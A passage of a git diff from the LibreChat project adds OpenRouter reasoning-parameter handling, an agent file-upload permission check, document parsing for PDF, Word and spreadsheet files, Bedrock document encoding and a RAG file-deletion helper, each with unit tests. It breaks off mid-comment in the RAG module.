endpointConfig.forcePrompt, summaryModel: endpointConfig.summaryModel, modelDisplayLabel: endpointConfig.modelDisplayLabel, titleMethod: endpointConfig.titleMethod, @@ -1483,14 +1485,11 @@ describe('getOpenAIConfig', () => { user: 'openrouter-user', temperature: 0.7, maxTokens: 4000, - include_reasoning: true, // OpenRouter specific - reasoning: { - effort: ReasoningEffort.high, - summary: ReasoningSummary.detailed, - }, apiKey: apiKey, }); + expect(result.llmConfig.include_reasoning).toBeUndefined(); expect(result.llmConfig.modelKwargs).toMatchObject({ + reasoning: { effort: ReasoningEffort.high }, top_k: 50, repetition_penalty: 1.1, }); diff --git a/packages/api/src/endpoints/openai/config.ts b/packages/api/src/endpoints/openai/config.ts index 2540bbb815..5e8d8236ff 100644 --- a/packages/api/src/endpoints/openai/config.ts +++ b/packages/api/src/endpoints/openai/config.ts @@ -127,6 +127,8 @@ export function getOpenAIConfig( { 'HTTP-Referer': 'https://librechat.ai', 'X-Title': 'LibreChat', + 'X-OpenRouter-Title': 'LibreChat', + 'X-OpenRouter-Categories': 'general-chat,personal-agent', }, headers, ); diff --git a/packages/api/src/endpoints/openai/llm.spec.ts b/packages/api/src/endpoints/openai/llm.spec.ts index 8e92332e24..a78cc4b87d 100644 --- a/packages/api/src/endpoints/openai/llm.spec.ts +++ b/packages/api/src/endpoints/openai/llm.spec.ts @@ -381,6 +381,25 @@ describe('getOpenAILLMConfig', () => { expect(result.llmConfig).toHaveProperty('include_reasoning', true); }); + it('should combine web search plugins and reasoning object for OpenRouter', () => { + const result = getOpenAILLMConfig({ + apiKey: 'test-api-key', + streaming: true, + useOpenRouter: true, + modelOptions: { + model: 'anthropic/claude-3-sonnet', + reasoning_effort: ReasoningEffort.high, + web_search: true, + }, + }); + + expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', { + effort: ReasoningEffort.high, + }); + expect(result.llmConfig).not.toHaveProperty('include_reasoning'); + expect(result.llmConfig.modelKwargs).toHaveProperty('plugins', [{ id: 'web' }]); + }); + it('should disable web search via dropParams', () => { const result = getOpenAILLMConfig({ apiKey: 'test-api-key', @@ -575,7 +594,7 @@ describe('getOpenAILLMConfig', () => { }); describe('OpenRouter Configuration', () => { - it('should include include_reasoning for OpenRouter', () => { + it('should include include_reasoning for OpenRouter when no reasoning_effort set', () => { const result = getOpenAILLMConfig({ apiKey: 'test-api-key', streaming: true, @@ -586,6 +605,75 @@ describe('getOpenAILLMConfig', () => { }); expect(result.llmConfig).toHaveProperty('include_reasoning', true); + expect(result.llmConfig).not.toHaveProperty('reasoning'); + }); + + it('should use reasoning object for OpenRouter when reasoning_effort is set', () => { + const result = getOpenAILLMConfig({ + apiKey: 'test-api-key', + streaming: true, + useOpenRouter: true, + modelOptions: { + model: 'anthropic/claude-3-sonnet', + reasoning_effort: ReasoningEffort.high, + }, + }); + + expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', { + effort: ReasoningEffort.high, + }); + expect(result.llmConfig).not.toHaveProperty('include_reasoning'); + expect(result.llmConfig).not.toHaveProperty('reasoning_effort'); + }); + + it('should exclude reasoning_summary from OpenRouter reasoning object', () => { + const result = getOpenAILLMConfig({ + apiKey: 'test-api-key', + streaming: true, + useOpenRouter: true, + modelOptions: { + model: 'anthropic/claude-3-sonnet', + reasoning_effort: ReasoningEffort.high, + reasoning_summary: ReasoningSummary.detailed, + }, + }); + + expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', { + effort: ReasoningEffort.high, + }); + }); + + it.each([ReasoningEffort.xhigh, ReasoningEffort.minimal, ReasoningEffort.none])( + 'should support OpenRouter effort level: %s', + (effort) => { + const result = getOpenAILLMConfig({ + apiKey: 'test-api-key', + streaming: true, + useOpenRouter: true, + modelOptions: { + model: 'openai/o3-mini', + reasoning_effort: effort, + }, + }); + + expect(result.llmConfig.modelKwargs).toHaveProperty('reasoning', { effort }); + expect(result.llmConfig).not.toHaveProperty('include_reasoning'); + }, + ); + + it('should fall back to include_reasoning when reasoning_effort is unset (empty string)', () => { + const result = getOpenAILLMConfig({ + apiKey: 'test-api-key', + streaming: true, + useOpenRouter: true, + modelOptions: { + model: 'anthropic/claude-3-sonnet', + reasoning_effort: ReasoningEffort.unset, + }, + }); + + expect(result.llmConfig).toHaveProperty('include_reasoning', true); + expect(result.llmConfig).not.toHaveProperty('reasoning'); }); }); diff --git a/packages/api/src/endpoints/openai/llm.ts b/packages/api/src/endpoints/openai/llm.ts index f25971735c..a89f6fce44 100644 --- a/packages/api/src/endpoints/openai/llm.ts +++ b/packages/api/src/endpoints/openai/llm.ts @@ -223,10 +223,20 @@ export function getOpenAILLMConfig({ } if (useOpenRouter) { - llmConfig.include_reasoning = true; - } - - if ( + if (hasReasoningParams({ reasoning_effort })) { + /** + * OpenRouter uses a `reasoning` object — `summary` is not supported. + * ChatOpenRouter treats `reasoning` and `include_reasoning` as mutually exclusive: + * `include_reasoning` is legacy compat that maps to `{ enabled: true }` only when + * no `reasoning` object is present, so we intentionally omit it here. + */ + modelKwargs.reasoning = { effort: reasoning_effort }; + hasModelKwargs = true; + } else { + /** No explicit effort; fall back to legacy `include_reasoning` for reasoning token inclusion */ + llmConfig.include_reasoning = true; + } + } else if ( hasReasoningParams({ reasoning_effort, reasoning_summary }) && (llmConfig.useResponsesApi === true || (endpoint !== EModelEndpoint.openAI && endpoint !== EModelEndpoint.azureOpenAI)) diff --git a/packages/api/src/files/agents/auth.ts b/packages/api/src/files/agents/auth.ts new file mode 100644 index 0000000000..d9fb2b7423 --- /dev/null +++ b/packages/api/src/files/agents/auth.ts @@ -0,0 +1,113 @@ +import type { IUser } from '@librechat/data-schemas'; +import type { Response } from 'express'; +import type { Types } from 'mongoose'; +import { logger } from '@librechat/data-schemas'; +import { SystemRoles, ResourceType, PermissionBits } from 'librechat-data-provider'; +import type { ServerRequest } from '~/types'; + +export type AgentUploadAuthResult = + | { allowed: true } + | { allowed: false; status: number; error: string; message: string }; + +export interface AgentUploadAuthParams { + userId: string; + userRole: string; + agentId?: string; + toolResource?: string | null; + messageFile?: boolean | string; +} + +export interface AgentUploadAuthDeps { + getAgent: (params: { id: string }) => Promise<{ + _id: string | Types.ObjectId; + author?: string | Types.ObjectId | null; + } | null>; + checkPermission: (params: { + userId: string; + role: string; + resourceType: ResourceType; + resourceId: string | Types.ObjectId; + requiredPermission: number; + }) => Promise; +} + +export async function checkAgentUploadAuth( + params: AgentUploadAuthParams, + deps: AgentUploadAuthDeps, +): Promise { + const { userId, userRole, agentId, toolResource, messageFile } = params; + const { getAgent, checkPermission } = deps; + + const isMessageAttachment = messageFile === true || messageFile === 'true'; + if (!agentId || toolResource == null || isMessageAttachment) { + return { allowed: true }; + } + + if (userRole === SystemRoles.ADMIN) { + return { allowed: true }; + } + + const agent = await getAgent({ id: agentId }); + if (!agent) { + return { allowed: false, status: 404, error: 'Not Found', message: 'Agent not found' }; + } + + if (agent.author?.toString() === userId) { + return { allowed: true }; + } + + const hasEditPermission = await checkPermission({ + userId, + role: userRole, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + requiredPermission: PermissionBits.EDIT, + }); + + if (hasEditPermission) { + return { allowed: true }; + } + + logger.warn( + `[agentUploadAuth] User ${userId} denied upload to agent ${agentId} (insufficient permissions)`, + ); + return { + allowed: false, + status: 403, + error: 'Forbidden', + message: 'Insufficient permissions to upload files to this agent', + }; +} + +/** @returns true if denied (response already sent), false if allowed */ +export async function verifyAgentUploadPermission({ + req, + res, + metadata, + getAgent, + checkPermission, +}: { + req: ServerRequest; + res: Response; + metadata: { agent_id?: string; tool_resource?: string | null; message_file?: boolean | string }; + getAgent: AgentUploadAuthDeps['getAgent']; + checkPermission: AgentUploadAuthDeps['checkPermission']; +}): Promise { + const user = req.user as IUser; + const result = await checkAgentUploadAuth( + { + userId: user.id, + userRole: user.role ?? '', + agentId: metadata.agent_id, + toolResource: metadata.tool_resource, + messageFile: metadata.message_file, + }, + { getAgent, checkPermission }, + ); + + if (!result.allowed) { + res.status(result.status).json({ error: result.error, message: result.message }); + return true; + } + return false; +} diff --git a/packages/api/src/files/agents/index.ts b/packages/api/src/files/agents/index.ts new file mode 100644 index 0000000000..269586ee8b --- /dev/null +++ b/packages/api/src/files/agents/index.ts @@ -0,0 +1 @@ +export * from './auth'; diff --git a/packages/api/src/files/documents/crud.spec.ts b/packages/api/src/files/documents/crud.spec.ts new file mode 100644 index 0000000000..f22693718a --- /dev/null +++ b/packages/api/src/files/documents/crud.spec.ts @@ -0,0 +1,148 @@ +import path from 'path'; +import { parseDocument } from './crud'; + +describe('Document Parser', () => { + test('parseDocument() parses text from docx', async () => { + const file = { + originalname: 'sample.docx', + path: path.join(__dirname, 'sample.docx'), + mimetype: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 29, + filename: 'sample.docx', + filepath: 'document_parser', + images: [], + text: 'This is a sample DOCX file.\n\n', + }); + }); + + test('parseDocument() parses text from xlsx', async () => { + const file = { + originalname: 'sample.xlsx', + path: path.join(__dirname, 'sample.xlsx'), + mimetype: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 66, + filename: 'sample.xlsx', + filepath: 'document_parser', + images: [], + text: 'Sheet One:\nData,on,first,sheet\nSecond Sheet:\nData,On\nSecond,Sheet\n', + }); + }); + + test('parseDocument() parses text from xls', async () => { + const file = { + originalname: 'sample.xls', + path: path.join(__dirname, 'sample.xls'), + mimetype: 'application/vnd.ms-excel', + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 31, + filename: 'sample.xls', + filepath: 'document_parser', + images: [], + text: 'Sheet One:\nData,on,first,sheet\n', + }); + }); + + test('parseDocument() parses text from ods', async () => { + const file = { + originalname: 'sample.ods', + path: path.join(__dirname, 'sample.ods'), + mimetype: 'application/vnd.oasis.opendocument.spreadsheet', + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 66, + filename: 'sample.ods', + filepath: 'document_parser', + images: [], + text: 'Sheet One:\nData,on,first,sheet\nSecond Sheet:\nData,On\nSecond,Sheet\n', + }); + }); + + test.each([ + 'application/msexcel', + 'application/x-msexcel', + 'application/x-ms-excel', + 'application/x-excel', + 'application/x-dos_ms_excel', + 'application/xls', + 'application/x-xls', + ])('parseDocument() parses xls with variant MIME type: %s', async (mimetype) => { + const file = { + originalname: 'sample.xls', + path: path.join(__dirname, 'sample.xls'), + mimetype, + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 31, + filename: 'sample.xls', + filepath: 'document_parser', + images: [], + text: 'Sheet One:\nData,on,first,sheet\n', + }); + }); + + test('parseDocument() throws error for unhandled document type', async () => { + const file = { + originalname: 'nonexistent.file', + path: path.join(__dirname, 'nonexistent.file'), + mimetype: 'application/invalid', + } as Express.Multer.File; + + await expect(parseDocument({ file })).rejects.toThrow( + 'Unsupported file type in document parser: application/invalid', + ); + }); + + test('parseDocument() throws error for empty document', async () => { + const file = { + originalname: 'empty.docx', + path: path.join(__dirname, 'empty.docx'), + mimetype: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + } as Express.Multer.File; + + await expect(parseDocument({ file })).rejects.toThrow('No text found in document'); + }); + + test('parseDocument() parses empty xlsx with only sheet name', async () => { + const file = { + originalname: 'empty.xlsx', + path: path.join(__dirname, 'empty.xlsx'), + mimetype: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + } as Express.Multer.File; + + const document = await parseDocument({ file }); + + expect(document).toEqual({ + bytes: 8, + filename: 'empty.xlsx', + filepath: 'document_parser', + images: [], + text: 'Empty:\n\n', + }); + }); + + test('xlsx exports read and utils as named imports', async () => { + const { read, utils } = await import('xlsx'); + expect(typeof read).toBe('function'); + expect(typeof utils?.sheet_to_csv).toBe('function'); + }); +}); diff --git a/packages/api/src/files/documents/crud.ts b/packages/api/src/files/documents/crud.ts new file mode 100644 index 0000000000..ab16534b45 --- /dev/null +++ b/packages/api/src/files/documents/crud.ts @@ -0,0 +1,91 @@ +import * as fs from 'fs'; +import { excelMimeTypes, FileSources } from 'librechat-data-provider'; +import type { TextItem } from 'pdfjs-dist/types/src/display/api'; +import type { MistralOCRUploadResult } from '~/types'; + +/** + * Parses an uploaded document and extracts its text content and metadata. + * Handled types must stay in sync with `documentParserMimeTypes` from data-provider. + * + * @throws {Error} if `file.mimetype` is not handled or no text is found. + */ +export async function parseDocument({ + file, +}: { + file: Express.Multer.File; +}): Promise { + let text: string; + if (file.mimetype === 'application/pdf') { + text = await pdfToText(file); + } else if ( + file.mimetype === 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' + ) { + text = await wordDocToText(file); + } else if ( + excelMimeTypes.test(file.mimetype) || + file.mimetype === 'application/vnd.oasis.opendocument.spreadsheet' + ) { + text = await excelSheetToText(file); + } else { + throw new Error(`Unsupported file type in document parser: ${file.mimetype}`); + } + + if (!text?.trim()) { + throw new Error('No text found in document'); + } + + return { + filename: file.originalname, + bytes: Buffer.byteLength(text, 'utf8'), + filepath: FileSources.document_parser, + text, + images: [], + }; +} + +/** Parses PDF, returns text inside. */ +async function pdfToText(file: Express.Multer.File): Promise { + // Imported inline so that Jest can test other routes without failing due to loading ESM + const { getDocument } = await import('pdfjs-dist/legacy/build/pdf.mjs'); + + const data = new Uint8Array(await fs.promises.readFile(file.path)); + const pdf = await getDocument({ data }).promise; + + let fullText = ''; + for (let i = 1; i <= pdf.numPages; i++) { + const page = await pdf.getPage(i); + const textContent = await page.getTextContent(); + const pageText = textContent.items + .filter((item): item is TextItem => !('type' in item)) + .map((item) => item.str) + .join(' '); + fullText += pageText + '\n'; + } + + return fullText; +} + +/** Parses Word document, returns text inside. */ +async function wordDocToText(file: Express.Multer.File): Promise { + const { extractRawText } = await import('mammoth'); + const rawText = await extractRawText({ buffer: await fs.promises.readFile(file.path) }); + return rawText.value; +} + +/** Parses Excel sheet, returns text inside. */ +async function excelSheetToText(file: Express.Multer.File): Promise { + // xlsx CDN build (0.20.x) does not bind fs internally when dynamically imported; + // readFile() fails with "Cannot access file". read() takes a pre-loaded Buffer instead. + const { read, utils } = await import('xlsx'); + const data = await fs.promises.readFile(file.path); + const workbook = read(data, { type: 'buffer' }); + + let text = ''; + for (const sheetName of workbook.SheetNames) { + const worksheet = workbook.Sheets[sheetName]; + const worksheetAsCsvString = utils.sheet_to_csv(worksheet); + text += `${sheetName}:\n${worksheetAsCsvString}\n`; + } + + return text; +} diff --git a/packages/api/src/files/documents/empty.docx b/packages/api/src/files/documents/empty.docx new file mode 100644 index 0000000000..c089246167 Binary files /dev/null and b/packages/api/src/files/documents/empty.docx differ diff --git a/packages/api/src/files/documents/empty.xlsx b/packages/api/src/files/documents/empty.xlsx new file mode 100644 index 0000000000..6e54514f24 Binary files /dev/null and b/packages/api/src/files/documents/empty.xlsx differ diff --git a/packages/api/src/files/documents/sample.docx b/packages/api/src/files/documents/sample.docx new file mode 100644 index 0000000000..c7e1c02b65 Binary files /dev/null and b/packages/api/src/files/documents/sample.docx differ diff --git a/packages/api/src/files/documents/sample.ods b/packages/api/src/files/documents/sample.ods new file mode 100644 index 0000000000..81e333dc2e Binary files /dev/null and b/packages/api/src/files/documents/sample.ods differ diff --git a/packages/api/src/files/documents/sample.xls b/packages/api/src/files/documents/sample.xls new file mode 100644 index 0000000000..d5976b0816 Binary files /dev/null and b/packages/api/src/files/documents/sample.xls differ diff --git a/packages/api/src/files/documents/sample.xlsx b/packages/api/src/files/documents/sample.xlsx new file mode 100644 index 0000000000..2abb6961d1 Binary files /dev/null and b/packages/api/src/files/documents/sample.xlsx differ diff --git a/packages/api/src/files/encode/document.spec.ts b/packages/api/src/files/encode/document.spec.ts index 9091cedd9e..a93800b5e1 100644 --- a/packages/api/src/files/encode/document.spec.ts +++ b/packages/api/src/files/encode/document.spec.ts @@ -7,6 +7,7 @@ import { encodeAndFormatDocuments } from './document'; /** Mock the validation module */ jest.mock('~/files/validation', () => ({ validatePdf: jest.fn(), + validateBedrockDocument: jest.fn(), })); /** Mock the utils module */ @@ -15,11 +16,14 @@ jest.mock('./utils', () => ({ getConfiguredFileSizeLimit: jest.fn(), })); -import { validatePdf } from '~/files/validation'; +import { validatePdf, validateBedrockDocument } from '~/files/validation'; import { getFileStream, getConfiguredFileSizeLimit } from './utils'; import { Types } from 'mongoose'; const mockedValidatePdf = validatePdf as jest.MockedFunction; +const mockedValidateBedrockDocument = validateBedrockDocument as jest.MockedFunction< + typeof validateBedrockDocument +>; const mockedGetFileStream = getFileStream as jest.MockedFunction; const mockedGetConfiguredFileSizeLimit = getConfiguredFileSizeLimit as jest.MockedFunction< typeof getConfiguredFileSizeLimit @@ -84,6 +88,26 @@ describe('encodeAndFormatDocuments - fileConfig integration', () => { updatedAt: new Date(), }) as unknown as IMongoFile; + const createMockDocFile = ( + sizeInMB: number, + mimeType: string, + filename: string, + ): IMongoFile => + ({ + _id: new Types.ObjectId(), + user: new Types.ObjectId(), + file_id: new Types.ObjectId().toString(), + filename, + type: mimeType, + bytes: Math.floor(sizeInMB * 1024 * 1024), + object: 'file', + usage: 0, + source: 'test', + filepath: `/test/path/${filename}`, + createdAt: new Date(), + updatedAt: new Date(), + }) as unknown as IMongoFile; + describe('Configuration extraction and validation', () => { it('should pass configured file size limit to validatePdf for OpenAI', async () => { const configuredLimit = mbToBytes(15); @@ -500,6 +524,165 @@ describe('encodeAndFormatDocuments - fileConfig integration', () => { }); }); + it('should format Bedrock document with valid PDF', async () => { + const req = createMockRequest() as ServerRequest; + const file = createMockFile(3); + + const mockContent = Buffer.from('test-pdf-content').toString('base64'); + mockedGetFileStream.mockResolvedValue({ + file, + content: mockContent, + metadata: file, + }); + + mockedValidateBedrockDocument.mockResolvedValue({ isValid: true }); + + const result = await encodeAndFormatDocuments( + req, + [file], + { provider: Providers.BEDROCK }, + mockStrategyFunctions, + ); + + expect(result.documents).toHaveLength(1); + expect(result.documents[0]).toMatchObject({ + type: 'document', + document: { + name: 'test_pdf', + format: 'pdf', + source: { + bytes: expect.any(Buffer), + }, + }, + }); + }); + + it('should format Bedrock CSV document', async () => { + const req = createMockRequest() as ServerRequest; + const file = createMockDocFile(1, 'text/csv', 'data.csv'); + + const mockContent = Buffer.from('col1,col2\nval1,val2').toString('base64'); + mockedGetFileStream.mockResolvedValue({ + file, + content: mockContent, + metadata: file, + }); + + mockedValidateBedrockDocument.mockResolvedValue({ isValid: true }); + + const result = await encodeAndFormatDocuments( + req, + [file], + { provider: Providers.BEDROCK }, + mockStrategyFunctions, + ); + + expect(result.documents).toHaveLength(1); + expect(result.documents[0]).toMatchObject({ + type: 'document', + document: { + name: 'data_csv', + format: 'csv', + source: { + bytes: expect.any(Buffer), + }, + }, + }); + }); + + it('should format Bedrock DOCX document', async () => { + const req = createMockRequest() as ServerRequest; + const mimeType = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; + const file = createMockDocFile(2, mimeType, 'report.docx'); + + const mockContent = Buffer.from('docx-binary-content').toString('base64'); + mockedGetFileStream.mockResolvedValue({ + file, + content: mockContent, + metadata: file, + }); + + mockedValidateBedrockDocument.mockResolvedValue({ isValid: true }); + + const result = await encodeAndFormatDocuments( + req, + [file], + { provider: Providers.BEDROCK }, + mockStrategyFunctions, + ); + + expect(result.documents).toHaveLength(1); + expect(result.documents[0]).toMatchObject({ + type: 'document', + document: { + name: 'report_docx', + format: 'docx', + source: { + bytes: expect.any(Buffer), + }, + }, + }); + }); + + it('should format Bedrock plain text document', async () => { + const req = createMockRequest() as ServerRequest; + const file = createMockDocFile(0.5, 'text/plain', 'notes.txt'); + + const mockContent = Buffer.from('plain text content').toString('base64'); + mockedGetFileStream.mockResolvedValue({ + file, + content: mockContent, + metadata: file, + }); + + mockedValidateBedrockDocument.mockResolvedValue({ isValid: true }); + + const result = await encodeAndFormatDocuments( + req, + [file], + { provider: Providers.BEDROCK }, + mockStrategyFunctions, + ); + + expect(result.documents).toHaveLength(1); + expect(result.documents[0]).toMatchObject({ + type: 'document', + document: { + name: 'notes_txt', + format: 'txt', + source: { + bytes: expect.any(Buffer), + }, + }, + }); + }); + + it('should reject Bedrock document when validation fails', async () => { + const req = createMockRequest() as ServerRequest; + const file = createMockDocFile(5, 'text/csv', 'big.csv'); + + const mockContent = Buffer.from('large-csv-content').toString('base64'); + mockedGetFileStream.mockResolvedValue({ + file, + content: mockContent, + metadata: file, + }); + + mockedValidateBedrockDocument.mockResolvedValue({ + isValid: false, + error: 'File size (5.0MB) exceeds the 4.5MB limit for Bedrock', + }); + + await expect( + encodeAndFormatDocuments( + req, + [file], + { provider: Providers.BEDROCK }, + mockStrategyFunctions, + ), + ).rejects.toThrow('Document validation failed'); + }); + it('should format OpenAI document with responses API', async () => { const req = createMockRequest(15) as ServerRequest; const file = createMockFile(10); diff --git a/packages/api/src/files/encode/document.ts b/packages/api/src/files/encode/document.ts index 487a5503a4..e4fd066324 100644 --- a/packages/api/src/files/encode/document.ts +++ b/packages/api/src/files/encode/document.ts @@ -1,5 +1,10 @@ import { Providers } from '@librechat/agents'; -import { isOpenAILikeProvider, isDocumentSupportedProvider } from 'librechat-data-provider'; +import { + isOpenAILikeProvider, + isBedrockDocumentType, + bedrockDocumentFormats, + isDocumentSupportedProvider, +} from 'librechat-data-provider'; import type { IMongoFile } from '@librechat/data-schemas'; import type { AnthropicDocumentBlock, @@ -7,8 +12,8 @@ import type { DocumentResult, ServerRequest, } from '~/types'; +import { validatePdf, validateBedrockDocument } from '~/files/validation'; import { getFileStream, getConfiguredFileSizeLimit } from './utils'; -import { validatePdf } from '~/files/validation'; /** * Processes and encodes document files for various providers @@ -35,9 +40,15 @@ export async function encodeAndFormatDocuments( const encodingMethods: Record = {}; const result: DocumentResult = { documents: [], files: [] }; - const documentFiles = files.filter( - (file) => file.type === 'application/pdf' || file.type?.startsWith('application/'), - ); + const isBedrock = provider === Providers.BEDROCK; + const isDocSupported = isDocumentSupportedProvider(provider); + + const documentFiles = files.filter((file) => { + if (isBedrock && isBedrockDocumentType(file.type)) { + return true; + } + return file.type === 'application/pdf' || file.type?.startsWith('application/'); + }); if (!documentFiles.length) { return result; @@ -45,7 +56,10 @@ export async function encodeAndFormatDocuments( const results = await Promise.allSettled( documentFiles.map((file) => { - if (file.type !== 'application/pdf' || !isDocumentSupportedProvider(provider)) { + const isProcessable = isBedrock + ? isBedrockDocumentType(file.type) + : file.type === 'application/pdf' && isDocSupported; + if (!isProcessable) { return Promise.resolve(null); } return getFileStream(req, file, encodingMethods, getStrategyFunctions); @@ -68,14 +82,40 @@ export async function encodeAndFormatDocuments( continue; } - if (file.type === 'application/pdf' && isDocumentSupportedProvider(provider)) { - const pdfBuffer = Buffer.from(content, 'base64'); + const configuredFileSizeLimit = getConfiguredFileSizeLimit(req, { provider, endpoint }); + const mimeType = file.type ?? ''; - /** Extract configured file size limit from fileConfig for this endpoint */ - const configuredFileSizeLimit = getConfiguredFileSizeLimit(req, { - provider, - endpoint, + if (isBedrock && isBedrockDocumentType(mimeType)) { + const fileBuffer = Buffer.from(content, 'base64'); + const format = bedrockDocumentFormats[mimeType]; + + const validation = await validateBedrockDocument( + fileBuffer.length, + mimeType, + fileBuffer, + configuredFileSizeLimit, + ); + + if (!validation.isValid) { + throw new Error(`Document validation failed: ${validation.error}`); + } + + const sanitizedName = (file.filename || 'document') + .replace(/[^a-zA-Z0-9\s\-()[\]]/g, '_') + .slice(0, 200); + result.documents.push({ + type: 'document', + document: { + name: sanitizedName, + format, + source: { + bytes: fileBuffer, + }, + }, }); + result.files.push(metadata); + } else if (file.type === 'application/pdf' && isDocSupported) { + const pdfBuffer = Buffer.from(content, 'base64'); const validation = await validatePdf( pdfBuffer, diff --git a/packages/api/src/files/index.ts b/packages/api/src/files/index.ts index 8397878355..c3bdb49478 100644 --- a/packages/api/src/files/index.ts +++ b/packages/api/src/files/index.ts @@ -1,9 +1,12 @@ +export * from './agents'; export * from './audio'; export * from './context'; +export * from './documents/crud'; export * from './encode'; export * from './filter'; export * from './mistral/crud'; export * from './ocr'; export * from './parse'; +export * from './rag'; export * from './validation'; export * from './text'; diff --git a/packages/api/src/files/mistral/crud.ts b/packages/api/src/files/mistral/crud.ts index fefe4a4675..c818fab8b8 100644 --- a/packages/api/src/files/mistral/crud.ts +++ b/packages/api/src/files/mistral/crud.ts @@ -165,9 +165,11 @@ export async function performOCR({ config.httpsAgent = new HttpsProxyAgent(process.env.PROXY); } + const ocrURL = baseURL.endsWith('/ocr') ? baseURL : `${baseURL}/ocr`; + return axios .post( - `${baseURL}/ocr`, + ocrURL, { model, image_limit: 0, diff --git a/packages/api/src/files/rag.spec.ts b/packages/api/src/files/rag.spec.ts new file mode 100644 index 0000000000..9d8ea2d4b3 --- /dev/null +++ b/packages/api/src/files/rag.spec.ts @@ -0,0 +1,150 @@ +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + }, +})); + +jest.mock('~/crypto/jwt', () => ({ + generateShortLivedToken: jest.fn().mockReturnValue('mock-jwt-token'), +})); + +jest.mock('axios', () => ({ + delete: jest.fn(), + interceptors: { + request: { use: jest.fn(), eject: jest.fn() }, + response: { use: jest.fn(), eject: jest.fn() }, + }, +})); + +import axios from 'axios'; +import { deleteRagFile } from './rag'; +import { logger } from '@librechat/data-schemas'; +import { generateShortLivedToken } from '~/crypto/jwt'; + +const mockedAxios = axios as jest.Mocked; +const mockedLogger = logger as jest.Mocked; +const mockedGenerateShortLivedToken = generateShortLivedToken as jest.MockedFunction< + typeof generateShortLivedToken +>; + +describe('deleteRagFile', () => { + const originalEnv = process.env; + + beforeEach(() => { + jest.clearAllMocks(); + process.env = { ...originalEnv }; + process.env.RAG_API_URL = 'http://localhost:8000'; + }); + + afterEach(() => { + process.env = originalEnv; + }); + + describe('when file is embedded and RAG_API_URL is configured', () => { + it('should delete the document from RAG API successfully', async () => { + const file = { file_id: 'file-123', embedded: true }; + mockedAxios.delete.mockResolvedValueOnce({ status: 200 }); + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(true); + expect(mockedGenerateShortLivedToken).toHaveBeenCalledWith('user123'); + expect(mockedAxios.delete).toHaveBeenCalledWith('http://localhost:8000/documents', { + headers: { + Authorization: 'Bearer mock-jwt-token', + 'Content-Type': 'application/json', + accept: 'application/json', + }, + data: ['file-123'], + }); + expect(mockedLogger.debug).toHaveBeenCalledWith( + '[deleteRagFile] Successfully deleted document file-123 from RAG API', + ); + }); + + it('should return true and log warning when document is not found (404)', async () => { + const file = { file_id: 'file-not-found', embedded: true }; + const error = new Error('Not Found') as Error & { response?: { status?: number } }; + error.response = { status: 404 }; + mockedAxios.delete.mockRejectedValueOnce(error); + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(true); + expect(mockedLogger.warn).toHaveBeenCalledWith( + '[deleteRagFile] Document file-not-found not found in RAG API, may have been deleted already', + ); + }); + + it('should return false and log error on other errors', async () => { + const file = { file_id: 'file-error', embedded: true }; + const error = new Error('Server Error') as Error & { response?: { status?: number } }; + error.response = { status: 500 }; + mockedAxios.delete.mockRejectedValueOnce(error); + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(false); + expect(mockedLogger.error).toHaveBeenCalledWith( + '[deleteRagFile] Error deleting document from RAG API:', + 'Server Error', + ); + }); + }); + + describe('when file is not embedded', () => { + it('should skip RAG deletion and return true', async () => { + const file = { file_id: 'file-123', embedded: false }; + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(true); + expect(mockedAxios.delete).not.toHaveBeenCalled(); + expect(mockedGenerateShortLivedToken).not.toHaveBeenCalled(); + }); + + it('should skip RAG deletion when embedded is undefined', async () => { + const file = { file_id: 'file-123' }; + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(true); + expect(mockedAxios.delete).not.toHaveBeenCalled(); + }); + }); + + describe('when RAG_API_URL is not configured', () => { + it('should skip RAG deletion and return true', async () => { + delete process.env.RAG_API_URL; + const file = { file_id: 'file-123', embedded: true }; + + const result = await deleteRagFile({ userId: 'user123', file }); + + expect(result).toBe(true); + expect(mockedAxios.delete).not.toHaveBeenCalled(); + }); + }); + + describe('userId handling', () => { + it('should return false when no userId is provided', async () => { + const file = { file_id: 'file-123', embedded: true }; + + const result = await deleteRagFile({ userId: '', file }); + + expect(result).toBe(false); + expect(mockedLogger.error).toHaveBeenCalledWith('[deleteRagFile] No user ID provided'); + expect(mockedAxios.delete).not.toHaveBeenCalled(); + }); + + it('should return false when userId is undefined', async () => { + const file = { file_id: 'file-123', embedded: true }; + + const result = await deleteRagFile({ userId: undefined as unknown as string, file }); + + expect(result).toBe(false); + expect(mockedLogger.error).toHaveBeenCalledWith('[deleteRagFile] No user ID provided'); + }); + }); +}); diff --git a/packages/api/src/files/rag.ts b/packages/api/src/files/rag.ts new file mode 100644 index 0000000000..7155f62c12 --- /dev/null +++ b/packages/api/src/files/rag.ts @@ -0,0 +1,60 @@ +import axios from 'axios'; +import { logger } from '@librechat/data-schemas'; +import { generateShortLivedToken } from '~/crypto/jwt'; + +interface DeleteRagFileParams { + /** The user ID. Required for authentication. If not provided, the function returns false and logs an error. */ + userId: string; + /** The file object. Must have `embedded` and `file_id` properties. */ + file: { + file_id: string; + embedded?: boolean; + }; +} + +/** + * Deletes embedded document(s) from the RAG API. + * This is a shared utility function used by all file storage strategies + * (S3, Azure, Firebase, Local) to delete RAG embeddings when a file is deleted. + * + * @param params - The parameters object. + * @param 